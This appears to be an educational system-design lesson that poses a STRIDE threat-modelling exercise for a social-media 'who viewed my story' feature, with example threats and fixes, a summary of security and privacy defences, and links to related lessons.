Apply STRIDE to the Stories "viewers list" feature (who viewed my story). Name one threat in two different categories.
Examples: Information disclosure — an IDOR lets anyone fetch another user's viewer list by story ID (fix: owner-only authorisation). Tampering — a bot inflates view counts or injects fake viewers (fix: server-side view recording with rate limits and bot detection). Denial of service — a celebrity's story with millions of viewers makes the list endpoint expensive (fix: pagination, caching, limits).
- Security protects confidentiality, integrity and availability through layers; privacy adds purpose limitation, minimisation and user rights.
- Encrypt in transit (TLS, mTLS with service identities) and at rest (AES-256 with envelope encryption via KMS); keep secrets in a manager, short-lived and rotated.
- Absorb DDoS at the edge, filter with WAF and rate limits; prevent injection, XSS, CSRF, IDOR, SSRF; sandbox and re-encode untrusted media.
- Apply least privilege and zero trust; fight abuse with layered signals; protect accounts with 2FA, anomaly detection and revocable sessions.
- Build a deletion pipeline that reaches every store (including caches, CDN, search, analytics and backups); strip EXIF; keep tamper-evident audit logs.
- Use E2EE where content must be private even from the operator, and threat-model with STRIDE at design time.
Related lessons
- Authentication & Authorization — tokens, sessions, OAuth and permission checks
- Networking Basics — how TLS works
- Rate Limiting — throttling abuse and L7 DDoS
- API Gateway — where TLS, authN/Z and limits are enforced
- CDN — signed URLs and edge DDoS absorption
- Media Upload and Media Processing — validating and safely parsing untrusted files
- Direct Messaging — where E2EE applies
- Multi-Region & DR — data residency and backups
- Monitoring, Logging & Tracing — keeping PII out of logs; audit vs debug logs